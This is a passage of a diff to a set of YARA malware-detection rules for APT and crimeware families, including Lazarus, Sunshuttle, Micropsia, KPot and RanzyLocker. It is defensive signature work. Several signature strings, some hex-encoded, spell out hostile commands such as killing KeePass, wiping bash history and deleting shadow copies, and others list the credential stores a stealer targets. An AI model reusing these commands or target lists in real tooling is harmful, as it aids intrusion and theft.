ff ff 35 c6 85 04 ff ff ff 1f c6 85 05 ff ff ff 23 c6 85 06 ff ff ff 1f c6 85 07 ff ff ff 68 c6 85 08 ff ff ff 1f c6 85 09 ff ff ff 38 c6 85 0a ff ff ff 1f c6 85 0b ff ff ff 10 c6 85 0c ff ff ff 1f c6 85 0d ff ff ff 66 c6 85 0e ff ff ff 1f c6 85 0f ff ff ff 2a c6 85 10 ff ff ff 1f c6 85 11 ff ff ff 43 c6 85 12 ff ff ff 1f c6 85 13 ff ff ff 23 c6 85 14 ff ff ff 1f c6 85 15 ff ff ff 10 c6 85 16 ff ff ff 1f c6 85 17 ff ff ff 07 c6 85 18 ff ff ff 1f c6 85 19 ff ff ff 51 c6 85 1a ff ff ff 1f c6 85 1b ff ff ff 1c c6 85 1c ff ff ff 1f c6 85 1d ff ff ff 43 c6 85 1e ff ff ff 1f c6 85 1f ff ff ff 10 c6 85 20 ff ff ff 1f c6 85 21 ff ff ff 61 c6 85 22 ff ff ff 1f c6 85 23 ff ff ff 74 c6 85 24 ff ff ff 1f c6 85 25 ff ff ff 41 c6 85 26 ff ff ff 1f c6 85 27 ff ff ff 10 c6 85 28 ff ff ff 1f c6 85 29 ff ff ff 59 c6 85 2a ff ff ff 1f c6 85 2b ff ff ff 43 c6 85 2c ff ff ff 1f c6 85 2d ff ff ff 38 c6 85 2e ff ff ff 1f c6 85 2f ff ff ff 2b c6 85 30 } + $seq1 = { 55 8b ec 83 e4 f8 81 ec 08 04 00 00 a1 34 45 49 00 33 c4 89 84 24 04 04 00 00 83 ec 08 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 af 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 98 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 81 9f ff ff 83 c4 0c 8d 04 24 68 00 04 00 00 6a 00 50 e8 [2] 01 00 83 c4 0c 8d 04 24 [4] 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? ab 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 6c 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a9 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 33 c0 66 89 84 24 fe 03 00 00 8d 04 24 68 [2] 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a6 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 8d 4c 24 0c e8 6b a1 ff ff 83 c4 04 ba [2] 48 00 b9 ?? 83 48 00 68 [2] 48 00 e8 94 9e ff ff 8b 8c 24 10 04 00 00 83 c4 0c 33 cc e8 [2] 01 00 8b e5 5d } + $seq2 = { 55 8b ec 6a ff 68 [2] 47 00 64 a1 00 00 00 00 50 81 ec d8 00 00 00 a1 34 45 49 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 45 08 8b 75 14 c7 45 fc 00 00 00 00 89 85 34 ff ff ff 89 85 40 ff ff ff 33 c0 50 50 50 50 c7 85 3c ff ff ff 00 00 00 00 68 ?? 70 48 00 89 b5 6c ff ff ff c7 85 48 ff ff ff 00 00 00 00 c7 85 44 ff ff ff 00 00 00 00 89 85 50 ff ff ff ff 15 78 55 47 00 89 85 38 ff ff ff 85 c0 74 3f 6a 00 68 bb 01 00 00 68 ?? 6d 48 00 50 ff 15 8c 55 47 00 89 85 44 ff ff ff 85 c0 74 22 68 00 00 80 00 6a 00 6a 00 6a 00 68 ?? 71 48 00 68 ?? 6d 48 00 50 ff 15 90 55 47 00 89 85 50 ff ff ff 8b 3d 44 53 47 00 6a 00 6a 00 6a 00 6a 00 6a ff 56 6a 00 68 e9 fd 00 00 ff d7 8b f0 56 e8 ?? 35 01 00 83 c4 04 89 85 4c ff ff ff 6a 00 6a 00 56 50 6a ff ff b5 6c ff ff ff 6a 00 68 e9 fd 00 00 ff d7 68 80 00 00 00 8b f8 8d 85 70 ff ff ff 6a 00 50 e8 [2] 02 00 57 8d 85 70 ff ff ff 68 ?? 79 48 00 50 e8 ?? a3 00 00 83 c4 18 c7 85 64 ff ff ff 00 00 00 00 33 c0 c7 85 68 ff ff ff 07 00 00 00 8d 8d 54 ff ff ff 66 89 85 54 ff ff ff 6a 10 68 [2] 48 00 e8 ?? 84 00 00 8d 8d 70 ff ff ff c7 45 fc 01 00 00 00 8d 51 02 66 8b 01 83 c1 02 66 85 c0 75 f5 2b ca 8d 85 70 ff ff ff d1 f9 51 50 8d 8d 54 ff ff ff e8 89 63 00 00 6a 33 68 ?? 71 48 00 8d 8d 54 ff ff ff e8 77 63 00 00 8b b5 50 ff ff ff 85 f6 } + $s1 = "taskkill /im svehost.exe /t /f" fullword ascii + $s2 = "\\AppData\\Windows\\svehost.exe" fullword ascii + $s3 = "svehost.exe" fullword wide + $s4 = "bdagent.exe" fullword wide + $s5 = "taskkill /im keepass.exe /t /f" fullword ascii + $s6 = "%s\\AppData\\Windows\\svehost" fullword ascii + $s7 = "\\AppData\\Roaming\\ViberPc" fullword wide + $s8 = "\\AppData\\Roaming\\Skype" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and all of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 200KB and 1 of ( $seq* ) and 4 of ( $s* ) } - -rule ARKBIRD_SOLG_APT_NK_Lazarus_Implant_June_2020_1 : FILE +rule ARKBIRD_SOLG_APT_UNC2452_Sunshuttle_Mar_2021_1 : FILE { meta: - description = "Detect Lazarus implant June 2020" + description = "Detect Sunshuttle implant used by UNC2452 group" author = "Arkbird_SOLG" - id = "602c33f2-1e34-5267-9154-ada2d6edc64b" - date = "2020-06-28" - modified = "2020-06-28" - reference = "https://twitter.com/ccxsaber/status/1277064824434745345" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-28/APT_NK_Lazarus_Implant_June_2020_1.yar#L3-L23" + id = "faa07d19-4c61-554d-a6b1-ab7cb0919ec0" + date = "2021-03-06" + modified = "2021-03-06" + reference = "https://twitter.com/Arkbird_SOLG/status/1367570764468224010" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/UNC2452/APT_UNC2452_sunshuttle_Mar_2021_1.yar#L1-L31" license_url = "N/A" - logic_hash = "29b6b8d3bdd47707854ed0dc00808d6352934950a8e7244450df78422ff3cb15" + logic_hash = "368487f1716aaa5c10e19a428649d6706b3f45c53853e6729752dc41fc97bc38" score = 75 - quality = 73 + quality = 63 tags = "FILE" - hash1 = "21afaceee5fab15948a5a724222c948ad17cad181bf514a680267abcce186831" + hash1 = "611458206837560511cb007ab5eeb57047025c2edc0643184561a6bf451e8c2c" + hash2 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8" + hash3 = "bbd16685917b9b35c7480d5711193c1cd0e4e7ccb0f2bf1fd584c0aebca5ae4c" strings: - $s1 = "Upgrade.exe" fullword ascii - $s2 = "ver=%d×tamp=%lu" fullword ascii - $s3 = "_update.php" fullword ascii - $s4 = "Dorusio Wallet 2.1.0 (Check Update Windows)" fullword wide - $s5 = "Content-Type: application/x-www-form-urlencoded" fullword ascii - $s6 = "CONOUT$" fullword ascii - $s7 = "D$8fD;i" fullword ascii - $s8 = "WinHttpOpenRequest" fullword ascii - $s9 = "HTTP/1.0" fullword ascii - $s10 = "POST" fullword ascii + $s1 = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 39 59 72 42 6a 6b 6b 58 46 79 6b 62 47 51 72 6d 56 32 4b 49 2f 41 48 44 69 7a 57 51 61 4d 38 47 38 4a 37 6b 56 4b 32 56 65 2f 46 55 74 5f 6b 6b 53 56 6c 78 32 36 49 6e 46 56 61 79 70 77 2f 6c 75 5a 41 54 35 55 6e 55 69 34 64 4a 65 6b 6e 73 6b 55 6e 22 } + $s2 = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 71 6f 66 49 6b 76 62 6c 73 31 69 72 4f 36 78 68 6a 41 63 5a 2f 6a 49 69 71 41 70 70 31 56 6f 39 72 4f 53 2d 44 6a 65 4e 75 2f 62 50 75 6e 33 4e 35 74 49 42 58 4b 50 74 4e 79 73 48 4f 51 2f 41 52 53 72 63 65 6b 35 68 51 47 38 59 49 56 6e 4d 75 37 54 22 } + $s3 = { 6f 73 2f 65 78 65 63 2e 28 2a 43 6d 64 29 2e 52 75 6e } + $s4 = "main.request_session_key" fullword ascii + $s5 = "main.wget_file" fullword ascii + $s6 = "main.GetMD5Hash" fullword ascii + $s7 = "main.beaconing" fullword ascii + $s8 = "main.resolve_command" fullword ascii + $s9 = "main.send_file_part" fullword ascii + $s10 = "main.retrieve_session_key" fullword ascii + $s11 = "main.send_command_result" fullword ascii + $s12 = { 63 38 3a 32 37 3a 63 63 3a 63 32 3a 33 37 3a 35 61 } + $s13 = { 2d 2d 2d 2d 2d 42 45 47 49 4e } + $s14 = { 2d 2d 2d 2d 2d 45 4e 44 } condition: - uint16( 0 ) == 0x5a4d and filesize < 30KB and ( pe.imphash ( ) == "565005404f00b7def4499142ade5e3dd" or 6 of them ) + uint16( 0 ) == 0x5a4d and filesize > 800KB and 12 of them } - -rule ARKBIRD_SOLG_APT28_Zekapab_June_2020_1 : FILE +rule ARKBIRD_SOLG_APT_APT_C_23_Micropsia_Mar_2021_1 : FILE { meta: - description = "Detect Delphi variant of Zekapab" + description = "Detect Micropsia used by APT-C-23 (Build 2018)" author = "Arkbird_SOLG" - id = "cf87e67f-2db9-537d-8800-8cd47b47c276" - date = "2020-06-28" - modified = "2020-06-28" - reference = "https://twitter.com/DrunkBinary/status/1276573779037163520" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-28/APT28_Zekapab_June_2020_1.yar#L3-L29" + id = "517a33bb-0214-588f-80e4-dc82f2552330" + date = "2021-03-31" + modified = "2021-03-31" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-31/APT-C-23/APT_APT_C_23_Micropsia_Mar_2021_1.yar#L1-L24" license_url = "N/A" - logic_hash = "a02a78b8f60cf9d4441cc18b70fd00ec89253a5feafdc0eb392486b575bc61e2" - score = 75 - quality = 25 + logic_hash = "69baab88d80ab15e08f3b08dfca45a1fee6c2e6077152906f391618713fac2ef" + score = 50 + quality = 69 tags = "FILE" - hash1 = "12879b9d8ae046ca2f2ebcc7b1948afc44e6e654b7f4746e7a5243267cfd7c46" + hash1 = "eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60" + level = "experimental" strings: - $s1 = "54484520494E535452554354494F4E2041542030783763663538326164205245464552454E434544204D454D4F525920415420307830303030303030302E2054" ascii - $s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii - $s3 = "5C4164646974696F6E735C73616D636C69656E742E657865" ascii - $s4 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" fullword ascii - $s5 = "\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\" fullword ascii - $s6 = "Software\\Borland\\Delphi\\Locales" fullword ascii - $s7 = "SOFTWARE\\Borland\\Delphi\\RTL" fullword ascii - $s8 = "Software\\Borland\\Locales" fullword ascii - $s9 = "FastMM Borland Edition" fullword ascii - $s10 = "#7@Qhq\\1@NWgyxeH\\_bpdgc" fullword ascii - $s11 = "4150504C49434154494F4E204552524F52" ascii - $s12 = "436D442E457865202F6320" ascii - $s13 = "6572726F72" ascii - $s14 = "WndProcPtr" fullword ascii - $s15 = "Request.UserAgent" fullword ascii - $s16 = "ProxyPassword<" fullword ascii + $code1 = { c7 85 6c fc ff ff 12 00 00 00 8b f4 8d 85 6c fc ff ff 50 8d 8d 78 fc ff ff 51 ff 15 44 b0 66 00 3b f4 e8 80 d6 fa ff 8d 85 78 fc ff ff 50 b9 e0 83 66 00 e8 06 0d fb ff 6a 00 e8 24 0a 00 00 83 c4 04 50 e8 a2 d9 fa ff 83 c4 04 c7 85 60 fc ff ff } + $code2 = { 68 34 4f 61 00 8d 85 cc fd ff ff 50 e8 3d 02 fd ff 83 c4 08 8b f4 6a 00 6a 00 6a 00 6a 00 8d 85 e8 fd ff ff 50 ff 15 60 b3 66 00 3b f4 e8 f2 0d fd ff 89 85 c0 fd ff ff 83 bd c0 fd ff ff 00 0f 84 49 03 00 00 8b f4 6a 00 6a 00 6a 03 6a 00 6a 00 0f b7 05 d4 83 66 00 50 8b 4d 10 51 8b 95 c0 fd ff ff 52 ff 15 58 b3 66 00 3b f4 e8 b3 0d fd ff 89 85 b4 fd ff ff 83 bd b4 fd ff ff 00 0f 84 f4 02 00 00 8b f4 6a 00 a1 d8 83 66 00 50 6a 00 6a 00 68 5c 4f 61 00 8b 4d 14 51 8d 95 cc fd ff ff 52 8b 85 b4 fd ff ff 50 ff 15 70 b3 66 00 3b f4 e8 6e 0d fd ff 89 85 a8 fd ff ff 83 bd a8 fd ff ff 00 0f 84 af 02 00 00 c7 85 9c fd ff ff 00 00 00 00 83 } + $code3 = { 8b 85 60 fc ff ff 83 c0 01 89 85 60 fc ff ff 83 bd 60 fc ff ff 0a 7d 2a e8 3f fc fa ff 99 b9 1a 00 00 00 f7 f9 83 c2 41 88 95 57 fc ff ff 0f b6 85 57 fc ff ff 50 b9 e0 83 66 00 e8 8b 14 fb } + $s1 = "szhttpUserAgent" fullword ascii + $s2 = "httpUseragent" fullword ascii + $s3 = "dwByteRead" fullword ascii + $s4 = { 25 59 25 6d 25 64 2d 25 49 2d 25 4d 2d 25 53 } + $s5 = { 53 45 4c 45 43 54 20 27 43 52 45 41 54 45 20 49 4e 44 45 58 20 76 61 63 75 75 6d 5f 64 62 2e 27 20 7c 7c 20 73 75 62 73 74 72 28 73 71 6c 2c 31 34 29 20 20 46 52 4f 4d 20 73 71 6c 69 74 65 5f 6d 61 73 74 65 72 20 57 48 45 52 45 20 73 71 6c 20 4c 49 4b 45 20 27 43 52 45 41 54 45 20 49 4e 44 45 58 20 25 27 } + $s6 = { 55 50 44 41 54 45 20 25 51 2e 25 73 20 53 45 54 20 73 71 6c 20 3d 20 43 41 53 45 20 57 48 45 4e 20 74 79 70 65 20 3d 20 27 74 72 69 67 67 65 72 27 20 54 48 45 4e 20 73 71 6c 69 74 65 5f 72 65 6e 61 6d 65 5f 74 72 69 67 67 65 72 28 73 71 6c 2c 20 25 51 29 45 4c 53 45 20 73 71 6c 69 74 65 5f 72 65 6e 61 6d 65 5f 74 61 62 6c 65 28 73 71 6c 2c 20 25 51 29 20 45 4e 44 2c 20 74 62 6c 5f 6e 61 6d 65 20 3d 20 25 51 2c 20 6e 61 6d 65 20 3d 20 43 41 53 45 20 57 48 45 4e 20 74 79 70 65 3d 27 74 61 62 6c 65 27 20 54 48 45 4e 20 25 51 20 57 48 45 4e 20 6e 61 6d 65 20 4c 49 4b 45 20 27 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 25 25 27 20 41 4e 44 20 74 79 70 65 3d 27 69 6e 64 65 78 27 20 54 48 45 4e 20 27 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 5f 27 20 7c 7c 20 25 51 20 7c 7c 20 73 75 62 73 74 72 28 6e 61 6d 65 2c 25 64 2b 31 38 29 20 45 4c 53 45 20 6e 61 6d 65 20 45 4e 44 20 57 48 45 52 45 20 74 62 6c 5f 6e 61 6d 65 3d 25 51 20 43 4f 4c 4c 41 54 45 20 6e 6f 63 61 73 65 20 41 4e 44 20 28 74 79 70 65 3d 27 74 61 62 6c 65 27 20 4f 52 20 74 79 70 65 3d 27 69 6e 64 65 78 27 20 4f 52 20 74 79 70 65 3d 27 74 72 69 67 67 65 72 27 29 3b } + $s7 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 } + $s8 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 0d 0a } condition: - uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "dbdfe8b60c1de0a9201044b3e91b9502" or 12 of them ) + uint16( 0 ) == 0x5a4d and filesize > 50KB and 2 of ( $code* ) and 5 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_ELF_Go_Worm_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT_C_23_Micropsia_Mar_2021_2 : FILE { meta: - description = "Detect the worm written in Go that drops XMRig Miner" + description = "Detect Micropsia used by APT-C-23 (Build 2020)" author = "Arkbird_SOLG" - id = "6f4a9d3a-e038-5d7f-9c18-c380a0b295d2" - date = "2021-07-06" - modified = "2021-07-06" - reference = "https://twitter.com/JAMESWT_MHT/status/1409848815948111877" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-06/MAL_ELF_Go_Worm_Jul_2021_1.yara#L1-L22" + id = "cdd95b35-09b4-5412-bd86-55c2e7523d3e" + date = "2021-03-31" + modified = "2021-03-31" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-31/APT-C-23/APT_APT_C_23_Micropsia_Mar_2021_2.yar#L1-L26" license_url = "N/A" - logic_hash = "be8b95f8aab62d3a2b3376a0481ebc609afcd089e0613d39f258e07366b708a1" - score = 75 - quality = 61 + logic_hash = "a00091161ec69c9885e983117e2b424f860bfbab2551ea23b74c37fc062850b9" + score = 50 + quality = 75 tags = "FILE" - hash1 = "774ccd1281b02bc9f0c7e7185c424a42cd98bcc758c893e8a96dfb206a02fcbe" - hash2 = "bea5a4358184555924ab6c831bf34edf279f4b93d750d5321263439dcf9c245a" - tlp = "White" - adversary = "-" + hash1 = "d9b938d89a13620aabe81e0a9d02778cad8658cbfd6f15e7dab47b1118b53237" + hash2 = "42f40fb2e4f971807fcb771c9aacc5a2361fdcdaf3eaafc31b22096d81dd0666" + level = "experimental" strings: - $s1 = { 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 43 68 65 63 6b 20 49 50 28 25 73 29 20 77 69 74 68 20 53 53 48 20 70 6f 72 74 20 69 73 20 6f 70 65 6e 2e 2e 2e } - $s2 = { 63 61 74 20 2f 64 65 76 2f 6e 75 6c 6c 20 3e 20 7e 2f 2e 62 61 73 68 5f 68 69 73 74 6f 72 79 20 26 26 20 68 69 73 74 6f 72 79 20 2d 63 } - $s3 = { 6e 6f 68 75 70 20 2e 2f 25 73 20 26 3e 20 6d 79 73 71 6c 6c 6f 67 73 20 26 } - $s4 = { 72 6d 20 2d 66 20 25 73 20 6d 79 73 71 6c 6c 6f 67 73 } - $s5 = { 63 6f 6d 6d 61 6e 64 20 2d 76 20 62 61 73 68 } - $s6 = { 53 74 6f 70 20 62 72 75 74 65 20 6f 6e 2c 20 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 54 72 79 3a 20 49 50 3a 20 25 73 2c 20 63 72 65 64 65 6e 74 69 61 6c 3a 20 25 73 2f 25 73 20 28 25 64 2f 25 64 29 3a 20 44 55 52 41 54 49 4f 4e 3a 20 25 66 } - $s7 = { 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 54 72 79 3a 20 49 50 3a 20 25 73 2c 20 63 72 65 64 65 6e 74 69 61 6c 3a 20 25 73 2f 25 73 20 28 25 64 2f 25 64 29 } + $code1 = { 8d 45 f8 8b 15 90 c7 69 00 e8 1e 05 d5 ff c7 45 d0 00 00 00 00 c7 45 d4 00 00 00 00 8b 45 d8 8b 58 5c 85 db 74 22 8b c3 8b 10 ff 12 52 50 8b 45 d8 8b 40 5c e8 af 4b db ff 29 04 24 19 54 24 04 58 5a 89 45 d0 89 55 d4 6a 04 8d 45 d8 50 6a 2d 8b 45 d8 8b 80 a4 00 00 00 50 e8 59 cd ff ff c7 45 c4 02 00 00 00 6a 04 8d 45 c4 50 6a 3f 8b 45 d8 8b 80 a4 00 00 00 50 e8 3b cd ff ff c7 45 c4 01 00 00 00 6a 04 8d 45 c4 50 6a 3f 8b 45 d8 8b 80 a4 00 00 00 50 e8 1d cd ff ff 33 c0 5a 59 59 64 89 10 68 aa df 6b 00 8b 45 e8 e8 a0 } + $code2 = { 6a 00 8b 45 d0 50 6a 00 6a 00 6a 00 6a 00 8b 45 d8 8b 80 a4 00 00 00 50 e8 d1 cc ff ff 85 c0 75 19 8b 15 50 a7 6e 00 8b 4d e8 8b 45 ec e8 9c fc } + $code3 = { 8d 4d f4 8b 45 d4 8b 40 0c ba 01 00 00 00 8b 18 ff 53 0c 8b 45 d4 8b 50 10 a1 bc 1c 6f 00 e8 82 bc ff ff 8b 55 f4 a1 bc 1c 6f 00 e8 75 bc ff ff 8b 45 f4 ba f4 7c 6d 00 e8 a0 4c d3 ff 0f 85 cf 00 00 00 ba 08 7d 6d 00 a1 bc 1c 6f 00 e8 53 bc ff ff 33 c0 55 68 9a 76 6d 00 64 ff 30 64 89 20 33 c0 89 45 dc 8d 55 9c b8 38 7c 6d 00 e8 7b 86 d5 ff ff 75 9c 68 50 7c 6d 00 8d 55 98 b8 09 00 00 00 e8 c6 c4 ff ff ff 75 98 68 60 7c 6d 00 8d 45 dc ba 04 00 00 00 e8 91 4b d3 ff e8 c4 22 d5 ff dd 5d c0 9b ff 75 c4 ff 75 c0 8d 4d e0 8b 15 30 ab 6e 00 b8 70 7c 6d 00 e8 97 32 d5 ff 8b 45 d4 83 c0 14 } + $s1 = { 4a 00 50 00 45 00 47 00 20 00 49 00 6d 00 61 00 67 00 65 00 20 00 46 00 69 00 6c 00 65 00 25 00 53 00 63 00 68 00 65 00 6d 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 65 00 64 00 20 00 66 00 6f 00 72 00 20 00 25 00 73 } + $s2 = "Download start ." fullword wide + $s3 = "application/x-msdownload" fullword wide + $s4 = "Start Download File" fullword wide + $s5 = "getHttpDownload" fullword ascii + $s6 = "Download start ." fullword wide + $s7 = "-start" fullword wide + $s8 = "-Winapi.ImageHlp" fullword ascii + $s9 = "postHttpDownload" fullword ascii condition: - uint32( 0 ) == 0x464c457f and filesize > 900KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 50KB and 2 of ( $code* ) and 5 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Kpot_Oct_2020_1 : FILE +rule ARKBIRD_SOLG_Ran_Ranzylocker_Hunting_Mar_2021_1 : FILE { meta: - description = "Detect KPot stealer (new variant October 2020)" + description = "Detect RanzyLocker ransomware" author = "Arkbird_SOLG" - id = "316feeb3-59e5-5d18-9800-db41fabd6cb0" - date = "2020-10-17" - modified = "2020-10-17" + id = "0d0c743b-9beb-5413-b5ba-dad75c2ee0b7" + date = "2021-03-16" + modified = "2021-03-17" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-17/MAL_KPot_Oct_2020_1.yar#L1-L40" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-16/RanzyLocker/Ran_RanzyLocker_Hunting_Mar_2021_1.yar#L1-L24" license_url = "N/A" - logic_hash = "20010e8f2d45f904911664edee710f4dca18327c2b80766c253970a50624d13c" - score = 75 - quality = 73 + logic_hash = "ec7867e40e4418bb662c8cf5a71566cd261d2040ee5d3afa0bbe2b92ebfef98e" + score = 50 + quality = 53 tags = "FILE" - hash1 = "028ec268176707aadc2cf8e65a28236cbed214f9fd65fc3346ee34e859e50057" + hash1 = "5d0af3bf0dc7d99fc87d844a0fcd99796b9257ba02d78510422c498d445f0d0d" strings: - $olds1 = "%s | %s | %s | %s | %s | %s | %s | %d | %s" fullword ascii - $olds2 = "%s\\%s\\%s\\%.6s_%d.dat" fullword wide - $olds3 = "%s\\%s\\%s-Qt" fullword wide - $olds4 = "%s\\%s\\%.6ss" fullword wide - $olds5 = "%s\\%s\\%s.vdf" fullword wide - $olds6 = "https://%S/a/%S" fullword wide - $olds7 = { 4e 00 61 00 6d 00 65 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 43 00 6f 00 6d 00 6d 00 65 00 6e 00 74 00 3a 00 20 00 25 00 6c 00 73 00 0d 00 0a 00 55 00 73 00 65 00 72 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 44 00 61 00 74 00 61 00 3a 00 20 00 0d 00 0a 00 00 00 00 00 25 00 32 00 2e 00 32 00 58 00 20 00 00 00 00 00 25 00 2d 00 35 00 30 00 73 00 20 00 25 00 73 } - $debug1 = "4|Remote Desktop|%s|%s|%s|" fullword ascii - $debug2 = "1|TotalCommander|%s|%s|%s|" fullword ascii - $debug3 = "1|FileZilla|%s:%s|%s|%S|" fullword ascii - $debug4 = "5|Windows Mail|%s|%s|%s|" fullword ascii - $debug5 = "5|Outlook|%s:%d|%s|%s|" fullword ascii - $debug6 = "1|WS_FTP|%s|%s|%S|" fullword ascii - $debug7 = "1|WinSCP|%s|%s|%s|" fullword ascii - $debug8 = "3|Pidgin|%s|%s|%s|" fullword ascii - $debug9 = "3|Psi(+)|%s|%s|%s|" fullword ascii - $debug10 = "2|EarthVPN||%s|%s|" fullword ascii - $debug11 = "2|NordVPN||%s|%s|" fullword ascii - $debug12 = "0|%s|%S|%s|%s|%s" fullword ascii - $debug13 = "0|%S|%s|%s|%s|%S" fullword ascii - $debug14 = "0|%s|%s|%s|%s|" fullword ascii - $debug15 = "Masked|%s|%02d/%04d|%s|%s|%s" fullword ascii - $op1 = "{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" fullword ascii - $op2 = { 25 73 0d 0a 25 73 0d 0a 56 69 73 69 74 73 20 63 6f 75 6e 74 3a 20 25 64 0d 0a 4c 61 73 74 20 76 69 73 69 74 3a 20 5b 25 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 5d 0d 0a 0d 0a 00 42 72 6f 77 73 65 72 73 5c 48 69 73 74 6f 72 79 5c 25 73 2e 74 78 74 00 42 72 6f 77 73 65 72 73 5c 41 75 74 6f 66 69 6c 6c 5c 25 73 2e 74 78 74 00 00 00 00 42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 25 73 2e 74 78 74 } - $op3 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii - $op4 = "monero-project" fullword ascii + $s1 = "-nolan" fullword wide + $s2 = { 34 33 33 41 35 43 35 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 34 36 36 39 36 43 36 35 37 33 32 30 32 38 37 38 33 38 33 36 32 39 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 32 30 35 33 35 31 34 43 32 30 35 33 36 35 37 32 37 36 36 35 37 32 } + $s3 = { 34 33 33 41 35 43 35 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 34 36 36 39 36 43 36 35 37 33 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 32 30 35 33 35 31 34 43 32 30 35 33 36 35 37 32 37 36 36 35 37 32 } + $s4 = { 32 32 37 33 37 35 36 32 36 39 36 34 32 32 33 41 32 32 00 00 32 32 36 43 36 31 36 45 36 37 32 32 33 41 32 32 } + $s5 = { 32 32 36 43 36 31 36 45 36 37 32 32 33 41 32 32 } + $s6 = { 32 32 36 35 37 38 37 34 32 32 33 41 32 32 } + $s7 = { 32 32 36 42 36 35 37 39 32 32 33 41 32 32 } + $s8 = { 32 32 36 45 36 35 37 34 37 37 36 46 37 32 36 42 32 32 33 41 32 32 } + $s9 = { 36 32 36 33 36 34 36 35 36 34 36 39 37 34 32 45 36 35 37 38 36 35 32 30 32 46 37 33 36 35 37 34 32 30 37 42 36 34 36 35 36 36 36 31 37 35 36 43 37 34 37 44 32 30 36 32 36 46 36 46 37 34 37 33 37 34 36 31 37 34 37 35 37 33 37 30 36 46 36 43 36 39 36 33 37 39 32 30 36 39 36 37 36 45 36 46 37 32 36 35 36 31 36 43 36 43 36 36 36 31 36 39 36 43 37 35 37 32 36 35 37 33 } + $s10 = { 36 32 36 33 36 34 36 35 36 34 36 39 37 34 32 45 36 35 37 38 36 35 32 30 32 46 37 33 36 35 37 34 32 30 37 42 36 34 36 35 36 36 36 31 37 35 36 43 37 34 37 44 32 30 37 32 36 35 36 33 36 46 37 36 36 35 37 32 37 39 36 35 36 45 36 31 36 32 36 43 36 35 36 34 32 30 34 45 36 46 } + $s11 = { 37 37 36 44 36 39 36 33 32 45 36 35 37 38 36 35 32 30 35 33 34 38 34 31 34 34 34 46 35 37 34 33 34 46 35 30 35 39 32 30 32 46 36 45 36 46 36 39 36 45 37 34 36 35 37 32 36 31 36 33 37 34 36 39 37 36 36 35 } + $s12 = { 35 33 34 46 34 36 35 34 35 37 34 31 35 32 34 35 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 35 43 34 35 35 32 34 39 34 34 } + $s13 = { 37 32 36 35 36 31 36 34 36 44 36 35 32 45 37 34 37 38 37 34 } condition: - uint16( 0 ) == 0x5a4d and filesize > 120KB and 